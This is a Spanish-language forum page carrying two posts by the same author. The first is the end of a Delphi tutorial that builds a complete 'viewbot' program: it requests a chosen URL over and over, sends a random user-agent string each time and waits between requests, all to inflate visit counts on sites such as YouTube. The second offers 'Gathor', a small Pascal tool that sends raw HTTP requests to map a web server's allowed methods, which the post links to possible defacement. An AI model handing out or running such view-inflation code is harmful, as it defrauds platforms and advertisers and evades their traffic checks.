Si quieren saber mas sobre gethostbyname y gethostbyaddr: http://beej.us/guide/bgnet/output/html/multipage/gethostbynameman.html

Por ahora no es necesario que lo comprendan un 100%, pero seria bueno, ahora lo que sigue es:
Código
  1. Result:= inet_ntoa(HostAddr^[ZERO]^);
Otra vez por la msdn: http://msdn.microsoft.com/en-us/library/windows/desktop/ms738564(v=vs.85).aspx

De todos modos lo explicare, esta función convierte una dirección de red de tipo Ipv4 en un ASCII
Ejemplo:
Código
  1. char* FAR inet_ntoa(
  2.  struct   in_addr in // Representa un dirección de internet
  3. );

Y como no un record. Aquí lo pondré mas claro, nada como un ejemplo(de Winsock.pas):
Código
  1. PInAddr = ^TInAddr;
  2.  {$EXTERNALSYM in_addr}
  3.  in_addr = record
  4.    case integer of
  5.      0: (S_un_b: SunB);
  6.      1: (S_un_w: SunW);
  7.      2: (S_addr: u_long);
  8.  end;
  9.  TInAddr = in_addr; // Puntero a in_addr.
  10.  
  11. FreeMemory(HostAddr); // Libera el array de punteros
  12. WSACleanUp; // Limpia el socket.

13)Finalizando:
Y para finalizar nuestra primer entrega(y espero que no sea la ultima), eso sí, si a la gente le gusta.
Haremos un pequeño timer para que el tiempo en visitar una pagina no sea demasiado grande,
recordemos que el bucle while se genera muy rapido,
y con tan solo decirles que ejecutado así nada mas en menos de 30 segundos hice casi 100 visitas a mi pagina y esto
puede ser realmente muy molesto (y obvio), por esto ademas veremos cuantas visitas hacemos en un rango de X segundos:

Agregaremos lo siguiente al begin principal:
Código
  1. agrega en constantes
  2. HASHKEY                             = $00000028; // 40 decimal
  3. begin
  4.  WriteLn('Apreta (F5) para salir de Rbot. ');
  5.  while Init do begin
  6.    if RequestInternet( string(ParamStr(1)), HASHKEY, StrToInt(ParamStr(2))) then
  7.    begin
  8.      asm
  9.        @@StartUp:
  10.          Inc(IRobot)
  11.      end;
  12.      writeLn(
  13.        '[Servidor visitado]: ', ParamStr(1),
  14.        #13#10+'[Ip]: ', PChar(GetIP()), #13#10+'[Numero de veces]: ', IRobot,
  15.        #13#10+'Sesion exitosa!'+#13#10
  16.        +'============================'
  17.      );
  18.    end
  19.    else begin
  20.      writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
  21.  
  22.    if GetasyncKeyState(F5KEY)<>ZERO then begin
  23.      Init:= false;
  24.      WriteLn(#13#10+'Opcion salida por el usuario.');
  25.    end;
  26.  end;
  27.  ZeroMemory(Addr(IRobot), sizeof(IRobot));
  28. end.

Bien, HASHKEY es 40 en decimal, que sera la longitud del hash que restaremos(con 66 el total de nuestro diccionario en la función RandomHashes),
y Como 3º parámetro recibirá los segundos que tardara en hacer la repetición,  por ultimo retocaremos la función  RequestInternet.
Código
  1. function
  2. RequestInternet(url:string; Hashes, Secs: integer): BOOL; // Secs: segundos pasados
  3. var
  4.  hInet,
  5.  hUrl        : hInternet;
  6.  NHash       : PChar;
  7. begin
  8.  NHash:= PChar(RandomHashes(Hashes));
  9.  hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
  10.  if assigned(hInet) then
  11.  begin
  12.    hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
  13.      INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
  14.    if assigned(hUrl) then begin
  15.      Result:= true;
  16.      WriteLn('Hash generado: '+NHash); end
  17.    else begin Result:= false; end;
  18.  end;
  19.  Sleep(Secs*1000); // Delay del tiempo en hacer la repetición
  20.  InternetCloseHandle(hInet);
  21.  InternetCloseHandle(hUrl);
  22.  FreeMemory(NHash);
  23. end;

TERMINAMOS!!! Entonces el código final te debería quedar así..
Código
  1. program rweb;
  2. uses
  3.  WinInet,
  4.  WinSock,
  5.  Windows,
  6.  SysUtils;
  7.  
  8. {$APPTYPE CONSOLE}
  9.  
  10. {$HPPEMIT '#include <wininet.h>'}
  11.  
  12. const
  13.  INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
  14.  {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG}
  15.  INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
  16.  {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT}
  17.  INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
  18.  {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY}
  19.  INTERNET_FLAGS_MASK                 = INTERNET_FLAG_RELOAD      or
  20.                                        INTERNET_FLAG_NO_COOKIES;
  21.  {$EXTERNALSYM INTERNET_FLAGS_MASK}
  22.  
  23.  ZERO                                = $00000000;
  24.  BUFFSIZE                            = $00000041; // 65d
  25.  F5KEY                               = $00000074; // 116d (F5)
  26.  HASHKEY                             = $00000028; // 40d
  27.  INADDRSIZE                          = $0000000A; // 10d
  28.  
  29.  HTTP                                = 'http://';
  30.  
  31. var
  32.  Init        : BOOL    = True;
  33.  IRobot      : Integer = 0;
  34.  WSData      : WsaData;
  35.  
  36. function
  37.  RandomHashes(LenDict:integer):string;
  38. const
  39.  BuffHash    : Array[0..BUFFSIZE] of Char= (
  40.    'a', 'b', 'c', 'd', 'e', 'f', 'g',
  41.    'h', 'i', 'j', 'k', 'l', 'm', 'n',
  42.    'o', 'p', 'q', 'r', 's', 't', 'u',
  43.    'u', 'v', 'w', 'x', 'y', 'z', 'A',
  44.    'B', 'C', 'D', 'E', 'F', 'G', 'H',
  45.    'I', 'J', 'K', 'L', 'M', 'N', 'O',
  46.    'P', 'Q', 'R', 'S', 'T', 'U', 'V',
  47.    'W', 'X', 'Y', 'Z', '0', '1', '2',
  48.    '3', '4', '5', '6', '7', '8', '9',
  49.    '=', '?', '-'
  50.  );
  51. var
  52.  iHash         : Integer;
  53.  PBuffHash     : Char;
  54. begin
  55.  iHash:= Length(BuffHash)-LenDict;
  56.  repeat
  57.    Randomize;
  58.    PBuffHash:= BuffHash[Random(Length(BuffHash))];
  59.    asm
  60.      @@StartUp:
  61.        DEC(iHash);
  62.    end;
  63.    Result:= Result+PBuffHash;
  64.  until (iHash<ZERO);
  65.  Result:= Result;
  66.  
  67.  ZeroMemory(Addr(iHash), SizeOf(iHash));
  68.  ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));
  69. end;
  70.  
  71. function
  72. RequestInternet(url:string; Hashes, Secs: integer): BOOL;
  73. var
  74.  hInet,
  75.  hUrl        : hInternet;
  76.  NHash       : PChar;
  77. begin
  78.  NHash:= PChar(RandomHashes(Hashes));
  79.  hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
  80.  if assigned(hInet) then
  81.  begin
  82.    hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
  83.      INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
  84.    if assigned(hUrl) then begin
  85.      Result:= true;
  86.      WriteLn('Hash generado: '+NHash); end
  87.    else begin Result:= false; end;
  88.  end;
  89.  Sleep(Secs*1000);
  90.  InternetCloseHandle(hInet);
  91.  InternetCloseHandle(hUrl);
  92.  FreeMemory(NHash);
  93. end;
  94.  
  95. function
  96.  GetIP(): PChar;
  97. type
  98.  aIn_addr      = array [0..INADDRSIZE] of pInAddr;
  99.  pIn_addr      = ^aIn_addr;
  100. var
  101.  Hostent     : PHostEnt;
  102.  HostAddr    : pIn_addr;
  103. begin
  104.  WSAStartup($1, WSData);
  105.  Hostent:= GetHostBYName( PChar(ParamStr(1)) );
  106.  HostAddr:= pIn_addr(Hostent^.h_addr_list);
  107.  Result:= inet_ntoa(HostAddr^[ZERO]^);
  108.  
  109.  FreeMemory(HostAddr);
  110.  WSACleanUp;
  111. end;
  112.  
  113. begin
  114. {$O+} // Directiva para optimización
  115.  WriteLn('Apreta (F5) para salir de Rweb. ');
  116.  while Init do begin
  117.    if RequestInternet( string(ParamStr(1)), HASHKEY, StrToInt(ParamStr(2))) then
  118.    begin
  119.      asm
  120.        @@StartUp:
  121.          Inc(IRobot)
  122.      end;
  123.      writeLn(
  124.        '[Servidor visitado]: ', ParamStr(1),
  125.        #13#10+'[Ip]: ', PChar(GetIP()), #13#10+'[Numero de veces]: ', IRobot,
  126.        #13#10+'Sesion exitosa!'+#13#10
  127.        +'============================'
  128.      );
  129.    end
  130.    else begin
  131.      writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
  132.  
  133.    if GetasyncKeyState(F5KEY)<>ZERO then begin
  134.      Init:= false;
  135.      WriteLn(#13#10+'Opcion salida por el usuario.');
  136.    end;
  137.  end;
  138.  ZeroMemory(Addr(IRobot), sizeof(IRobot));
  139. {$0-}
  140. end.

14)Probando nuestro viewbot por 3º vez!:
Hora de probarlo!!!.

Y como ven los argumentos usados son:  <sitio_web> <intervalo en tiempo>
Nota: Para aumentar un vídeo en especifico debes usar la url del sitio mas el enlancé,
Ej: http://www.youtube.com/mi_video_a_aumentar

Claro, youtube cuenta una vez por IP, como algunos sitios pero a no preocuparse que en la próxima entrega veremos
como soluciónar ese problema, y lo mismo de siempre, si comentan y les gusta, si no, no hay problema...

15)Usando StripReloc para hacer el ejecutable mas pequeño y su relación con .reloc:
StripReloc se encarga de eliminar una parte de la sección que windows agrega por defecto a los PE(Portable ejecutable) “.reloc”,
(no toda), sino aquella que los compiladores como delphi 7 agregan y
son inútiles, de esta manera reduce el ejecutable moderadamente.
puedes encontrar mas documentación acerca de estas cabeceras acá: http://es.wikipedia.org/wiki/Portable_Executable
tambien  pueden encontrar StripReloc en el siguiente link: http://www.jrsoftware.org/striprlc.php
Para usarlo debemos descargarnos el .zip de la pagina que les pase. Una vez descomprimido,
obtendremos un .exe llamado “StripReloc”.
Naveguemos hasta la ruta del exe, y los parámetros son: “StripReloc <EXE_A_REDUCIR>”

La reducción ha sido considerable, veamoslo:


16)Mirando en LordPe la sección .reloc:
¿Y si miramos en el LordPe?:

Repito!, esto no quita la sección, solo remueve lo innecesario que generan los compiladores

17)Viendo el Stack y el Heap con WinDbg(este paso solo es demostrativo):
Por ultimo usare windbg para ver el stack y los heaps asignados, es una aplicación pequeña pero es algo que siempre tengo en cuenta,
tómenlo como un detalle de mi parte:


18)Despedida:
Y bueno gente, se despide WarZ0n3, espero que les haya servido y aprendido algo acerca del mundo de las APIS,
y lo poderosas que son,  junto con la imaginación se puede hacer cualquier cosa,
también vimos como reducir un ejecutable, y optimizar código liberando variables en memoria y pequeño
uso de asm.
Ahora usando tu criterio y si has estudiado e investigado al respecto ya podrás hacer tu propio viewbot,
y mandármelo por PM o publicarlo en el foro dándome las gracias.
Saludos!.
10  Programación / Programación General / [Pascal] Gathor 0.1 (Recolector de informacion) en: 1 Agosto 2013, 08:51 am
Saludos gente  ::)
Después de ausentarme un gran tiempo por trabajo y viajes, hoy que tuve un tiempo libre y como estaba aburrido, se me ocurrió hace una pequeña herramienta de gathering, debo decir que faltan agregarles muchas características y otras deben ser quitadas del código, estoy consiente que queda mucho por optimizar y bueno... al fin y al acabo nunca es suficiente.

También pensé que, en cuando tenga tiempo libre, programar un sniffer ¿Les gustaría?.

Y sin mas rodeos el código (Compilado en Delphi 7), también adjuntare unas imágenes con ciertos detalles de su interés:
Código
  1. program Gathor;
  2.  
  3. (*********************************************)
  4. (* Software : Gathor 0.1                     *)
  5. (* Autor    : WarZone                        *)
  6. (* Fecha    : 1/8/13                         *)
  7. (*********************************************)
  8. (* Explicacion:                              *)
  9. (* Un simple gathering de informacion web    *)
  10. (* el cual tiene algunas caracteristicas     *)
  11. (* como leer el source de la pagina(index),  *)
  12. (* ver el servidor en que se esta corriendo, *)
  13. (* fecha, version del protocolo, contenido,  *)
  14. (* opciones de metodos usados <posiblemente  *)
  15. (* permitiendo un Defacement>, etc..         *)
  16. (*********************************************)
  17. (* Parametros + Ejemplo :                    *)
  18. (* <sitio_web> <puerto> <opcion>             *)
  19. (* www.google.com 80 get_proto_0             *)
  20. (*********************************************)
  21. (*    -Opciones de uso / Caracteristicas-    *)
  22. (*                                           *)
  23. (* Los siguientes comandos permiten hacer    *)
  24. (* peticiones HTTP por distintas opciones,   *)
  25. (* GET, POST, HEAD, ETC... y version del     *)
  26. (* protocolo respectivamente 1.0 o 1.1       *)
  27. (*                                           *)
  28. (* get_proto_0 -> metodo GET por HTTP/1.0    *)
  29. (* get_proto_1 -> GET por HTTP/1.1           *)
  30. (* post_proto_0 -> POST por HTTP/1.0         *)
  31. (* post_proto_1 -> POST por HTTP/1.1         *)
  32. (* options_proto_0 -> OPTIONS por HTTP/1.0   *)
  33. (* options_proto_1 -> OPTIONS por HTTP/1.1   *)
  34. (* head_proto_0 -> HEAD por HTTP/1.0         *)
  35. (* head_proto_1 -> HEAD por HTTP/1.1         *)
  36. (*********************************************)
  37.  
  38. {$APPTYPE CONSOLE}
  39.  
  40. uses
  41.  SysUtils,
  42.  Windows,
  43.  WinSock;
  44.  
  45. const
  46.  { Config }
  47.  BL         = #13#10;
  48.  
  49.  { HTTP Methods }
  50.  POST        = 'POST';
  51.  GET         = 'GET';
  52.  OPTIONS     = 'OPTIONS';
  53.  HEAD        = 'HEAD';
  54.  
  55.  { Version }
  56.  HTTP0       = ' HTTP/1.0';
  57.  HTTP1       = ' HTTP/1.1';
  58.  STP         = ' /';
  59.  
  60.  { Octetos }
  61.  ZERO        = $00000000;
  62.  BSIZE       = $00001024;
  63.  BUFFSIZE    = $000000FF;
  64.  BUFFDATA    = $00001000;
  65.  INADDRSIZE  = $0000000A;
  66.  
  67. var
  68.  WSData      : WsaData;
  69.  TcpSocket   : tSocket;
  70.  sAddr       : sockaddr_in;
  71.  pIp         : string;
  72.  I           : Integer;
  73.  
  74.  BuffName    : array [0..BUFFSIZE] of AnsiChar;
  75.  sData       : array [0..BUFFDATA] of Char;
  76.  
  77. (* Reporte de desensamblado en GetIp
  78. 00408450  /$ 55             PUSH EBP            <-----| Callback IP |
  79. 00408451  |. 8BEC           MOV EBP,ESP
  80. 00408453  |. 6A 00          PUSH 0
  81. 00408455  |. 53             PUSH EBX
  82. 00408456  |. 33C0           XOR EAX,EAX
  83. 00408458  |. 55             PUSH EBP
  84. 00408459  |. 68 BA844000    PUSH Project2.004084BA
  85. 0040845E  |. 64:FF30        PUSH DWORD PTR FS:[EAX]
  86. 00408461  |. 64:8920        MOV DWORD PTR FS:[EAX],ESP
  87. 00408464  |. 68 9C374100    PUSH Project2.0041379C                   ; /pWSAData = Project2.0041379C
  88. 00408469  |. 6A 01          PUSH 1                                   ; |RequestedVersion = 1 (1.0.)
  89. 0040846B  |. E8 98FFFFFF    CALL <JMP.&wsock32.WSAStartup>           ; \WSAStartup
  90. 00408470  |. 90             NOP
  91. 00408471  |. 90             NOP
  92. 00408472  |. 90             NOP
  93. 00408473  |. 8D55 FC        LEA EDX,DWORD PTR SS:[EBP-4]
  94. 00408476  |. B8 01000000    MOV EAX,1
  95. 0040847B  |. E8 88A3FFFF    CALL Project2.00402808
  96. 00408480  |. 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
  97. 00408483  |. E8 A4BBFFFF    CALL Project2.0040402C
  98. 00408488  |. 50             PUSH EAX                                 ; /Name
  99. 00408489  |. E8 72FFFFFF    CALL <JMP.&wsock32.gethostbyname>        ; \gethostbyname
  100. 0040848E  |. 8B40 0C        MOV EAX,DWORD PTR DS:[EAX+C]
  101. 00408491  |. 33D2           XOR EDX,EDX
  102. 00408493  |. 8B0490         MOV EAX,DWORD PTR DS:[EAX+EDX*4]
  103. 00408496  |. FF30           PUSH DWORD PTR DS:[EAX]
  104. 00408498  |. E8 3BFFFFFF    CALL <JMP.&wsock32.inet_ntoa>
  105. 0040849D  |. 8BD8           MOV EBX,EAX
  106. 0040849F  |. E8 6CFFFFFF    CALL <JMP.&wsock32.WSACleanup>           ; [WSACleanup
  107. 004084A4  |. 33C0           XOR EAX,EAX
  108. 004084A6  |. 5A             POP EDX
  109. 004084A7  |. 59             POP ECX
  110. 004084A8  |. 59             POP ECX
  111. 004084A9  |. 64:8910        MOV DWORD PTR FS:[EAX],EDX
  112. 004084AC  |. 68 C1844000    PUSH Project2.004084C1
  113. 004084B1  |> 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]
  114. 004084B4  |. E8 83B7FFFF    CALL Project2.00403C3C
  115. 004084B9  \. C3             RETN
  116.  
  117.  
  118.  
  119. *)
  120. function
  121.  GetIP(): PChar;
  122. type
  123.  aIn_addr      = array [0..INADDRSIZE] of pInAddr;
  124.  pIn_addr      = ^aIn_addr;
  125. var
  126.  Hostent     : PHostEnt;
  127.  HostAddr    : pIn_addr;
  128.  HostPData   : PChar;
  129.  Int         : Integer;
  130. begin
  131.  WSAStartup($1, WSData);
  132.  asm
  133.    NOP
  134.    NOP
  135.    NOP
  136.  end;
  137.  Hostent:= GetHostBYName( PChar(ParamStr(1)) );
  138.  HostAddr:= pIn_addr(Hostent^.h_addr_list);
  139.  Int:= 0;
  140.  Result:= inet_ntoa(HostAddr^[Int]^);
  141.  WSACleanUp;
  142. end;
  143.  
  144. function
  145.  CALLBACK__getIp: string;
  146. asm
  147.  @@StartUp:
  148.    XOR EAX,EAX
  149.    XOR ECX,ECX
  150.    XOR EDX,EDX
  151.    MOV DWORD PTR FS:[EAX],ESP
  152.    LEA EDX,DWORD PTR SS:[EBP-4]
  153.    MOV EAX,1
  154.    MOV EAX,DWORD PTR SS:[EBP-4]
  155.    MOV EAX,DWORD PTR DS:[EAX+$C]
  156.    XOR EDX,EDX
  157.    MOV EDX,EBX
  158.    XOR EAX,EAX
  159.    MOV DWORD PTR FS:[EAX],EDX
  160.    LEA EAX,DWORD PTR SS:[EBP-4]
  161.    NOP
  162.    NOP
  163.  
  164.    PUSH Pointer($00408450) //Pointer($00408450)
  165.    POP EDX
  166.    CALL EDX                 (* CALLBACK DE LA FUNCION *)
  167. end;
  168.  
  169. begin
  170.  if (ParamCount<=1) then
  171.    WriteLn('Parametros usados: <sitio_web> <puerto> <opcion>'+BL);
  172.  
  173.  WSAStartUp($1, WSData);
  174.  TcpSocket:= Socket (AF_INET, SOCK_STREAM, ZERO);
  175.  
  176.  sAddr.sin_family:= af_inet;
  177.  sAddr.sin_addr.s_addr:= inet_addr(GetIP()); //INET_ADDR('173.194.42.209');
  178.  sAddr.sin_port:= htons(StrToInt(ParamStr(2))); //htons(Integer(ParamStr(2)));
  179.  
  180.  (* Opcion por default *)
  181.  if (ParamStr(3)<' ') then
  182.    sData:= 'OPTIONS /index.html HTTP/1.0'+BL+BL;
  183.  
  184.  (* Gathering automatico *)
  185.  if (ParamStr(3)>' ') then
  186.  begin
  187.    if (ParamStr(3)='get_proto_0') then
  188.      sData:= GET+STP+HTTP0+BL+BL;
  189.    if (ParamStr(3)='get_proto_1') then
  190.      sData:= GET+STP+HTTP1+BL+BL;
  191.    if (ParamStr(3)='post_proto_0') then
  192.      sData:= POST+STP+HTTP0+BL+BL;
  193.    if (ParamStr(3)='post_proto_1') then
  194.      sData:= POST+STP+HTTP1+BL+BL;
  195.    if (ParamStr(3)='options_proto_0') then
  196.      sData:= OPTIONS+STP+HTTP0+BL+BL;
  197.    if (ParamStr(3)='options_proto_1') then
  198.      sData:= OPTIONS+STP+HTTP1+BL+BL;
  199.    if (ParamStr(3)='head_proto_0') then
  200.      sData:= HEAD+STP+HTTP0+BL+BL;
  201.    if (ParamStr(3)='head_proto_1') then
  202.      sData:= HEAD+STP+HTTP1+BL+BL;
  203.  end;
  204.  Try
  205.    if (CALLBACK__getIp<='') then
  206.    begin
  207.      WriteLn('Conectando al servidor: ', GetIP); end
  208.    else begin WriteLn('Conectando al servidor: ', CALLBACK__getIp); end;
  209.  
  210.    Winsock.Connect(TcpSocket, sAddr, sizeof(sAddr));
  211.    WriteLn('Parametro: ', sData);
  212.    Winsock.Send(TcpSocket, sData, StrLen(sData), MSG_DONTROUTE);
  213.    Winsock.Recv(TcpSocket, BuffName, BSIZE, SD_RECEIVE);
  214.    WriteLn(BuffName);
  215.  Finally
  216.    Shutdown(TcpSocket, SD_BOTH);
  217.    CloseSocket(TcpSocket);
  218.    WSACleanUp();
  219.  end;
  220. end.
  221.  

Gathor con metódo OPTIONS:


Gathor con metódo POST:


Gathor con metódo GET:


Gathor con metódo HEAD:



PD: Lo del stack y el heap lo agrego por que aun que a muchos no les interese que sea una aplicación grande o pequeña, es un detalle que siempre tengo presente.

Y como ven el tamaño del stack no fue tan drástico (como en otras comparaciones que hice) y me olvide de tomar fotos  >:D
Claro que es un aplicación pequeña...




Y el heap por lo menos no se disperso tanto como pensaba...
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines